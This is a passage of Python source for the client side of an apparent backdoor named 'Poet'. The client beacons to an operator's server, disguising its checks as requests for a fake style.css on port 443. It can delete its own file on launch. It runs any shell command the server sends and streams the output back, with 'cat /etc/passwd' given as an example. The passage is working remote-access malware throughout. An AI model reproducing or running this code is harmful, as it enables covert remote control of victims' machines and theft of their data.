        sp.Popen(f.name, stdout=open(os.devnull, 'w'), stderr=sp.STDOUT)

    def chint(self, s, inp):
        """Handle server `chint' command.

        Send back the current delay interval or set it to new value.
        """

        if inp == 'chint':
            # no arg, so just send back the interval
            s.send(str(args.interval))
        else:
            # set interval to arg
            try:
                num = int(inp[6:])
                if num < 1 or num > 60*60*24:
                    msg = 'Invalid interval time.'
                else:
                    args.interval = num
                    msg = 'done'
                s.send(msg)
            except Exception as e:
                s.send(str(e.message))

    def shell(self, inp, s):
        """Psh `shell' command client-side.

        Create a subprocess for command and line buffer command output to
        server while listening for signals from server.

        Args:
            s: PoetSocketClient instance
        """

        inp = inp[6:]  # get rid of 'shell ' prefix

        # handle cd builtin
        if re.search('^cd( .+)?$', inp):
            if inp == 'cd':
                os.chdir(os.path.expanduser('~'))
            else:
                try:
                    os.chdir(os.path.expanduser(inp[3:]))
                except OSError as e:
                    s.send('cd: {}\n'.format(e.strerror))
            return

        # everything else
        proc = sp.Popen(inp, stdout=sp.PIPE, stderr=sp.STDOUT, shell=True)
        while True:
            readable = select.select([proc.stdout, s.s], [], [], 30)[0]
            for fd in readable:
                if fd == proc.stdout:  # proc has stdout/err to send
                    output = proc.stdout.readline()
                    if output:
                        s.send(output)
                    else:
                        return
                elif fd == s.s:  # remote signal from server
                    sig = s.recv()
                    if sig == 'shellterm':
                        proc.terminate()
                        return

    def cmd_exec(self, cmd):
        """Light wrapper over subprocess.Popen()."""

        return sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.STDOUT,
                        shell=True).communicate()[0]

    def get_prompt(self):
        """Create shell prompt.

        Using current user and hostname, create shell prompt for server `shell'
        command.
        """
        user = self.cmd_exec('whoami').strip()
        hn = self.cmd_exec('hostname').strip()
        end = '#' if user == 'root' else '$'
        return '{}@{} {} '.format(user, hn, end)

    def parse_exec_cmds(self, inp):
        """Parse string provided by server `exec' command.

        Convert space delimited string with commands to execute in quotes, for
        example ("ls -l" "cat /etc/passwd") into list with commands as strings.

        Returns:
            List of commands to execute.
        """

        if inp.count('"') == 2:
            return [inp[1:-1]]
        else:
            # server side regex guarantees that these quotes will be in the
            # correct place -- the space between two commands
            third_quote = inp.find('" "') + 2
            first_cmd = inp[:third_quote-1]
            rest = inp[third_quote:]
            return [first_cmd[1:-1]] + self.parse_exec_cmds(rest)

def get_args():
    """ Parse arguments and return dictionary. """

    parser = argparse.ArgumentParser()
    parser.add_argument('host', metavar='IP', type=str, help='server')
    parser.add_argument('interval', metavar='INTERVAL', type=int, help='(s)',
                        nargs='?', default=600)
    parser.add_argument('-p', '--port')
    parser.add_argument('-v', '--verbose', action="store_true")
    parser.add_argument('-d', '--delete', action="store_true",
                        help="delete client upon execution")
    return parser.parse_args()

def is_active(host, port):
    """Check if server is active.

    Send HTTP GET for a fake /style.css which server will respond to if it's
    alive.

    Args:
        host: server ip address
        port: server port

    Returns:
        Boolean for server state.
    """

    try:
        url = 'http://{}:{}/style.css'.format(host, port)
        req = urllib2.Request(url, headers={'User-Agent': UA})
        f = urllib2.urlopen(req)
        if f.code == 200:
            return True
    except urllib2.URLError:
        pass
    return False

def main():
    global args
    args = get_args()

    if args.verbose:
        log.basicConfig(format='%(message)s', level=log.INFO)
    else:
        log.basicConfig(format='%(message)s')

    if args.delete:
        log.info('[+] Deleting client.')
        os.remove(__file__)

    HOST = args.host
    PORT = int(args.port) if args.port else 443

    log.info(('[+] Poet started with interval of {} seconds to port {}.' +
              ' Ctrl-c to exit.').format(args.interval, PORT))

    try:
        while True:
            if is_active(HOST, PORT):
                log.info('[+] ({}) Server is active'.format(datetime.now()))
                PoetClient(HOST, PORT).start()
            else:
                log.info('[!] ({}) Server is inactive'.format(datetime.now()))
            time.sleep(args.interval)
    except KeyboardInterrupt:
        print
        log.info('[-] ({}) Poet terminated.'.format(datetime.now()))
    except socket.error as e:
        log.info('[!] ({}) Socket error: {}'.format(datetime.now(), e.message))
        log.info('[-] ({}) Poet terminated.'.format(datetime.now()))
        sys.exit(0)

if __name__ == '__main__':
    main()
<|endoftext|>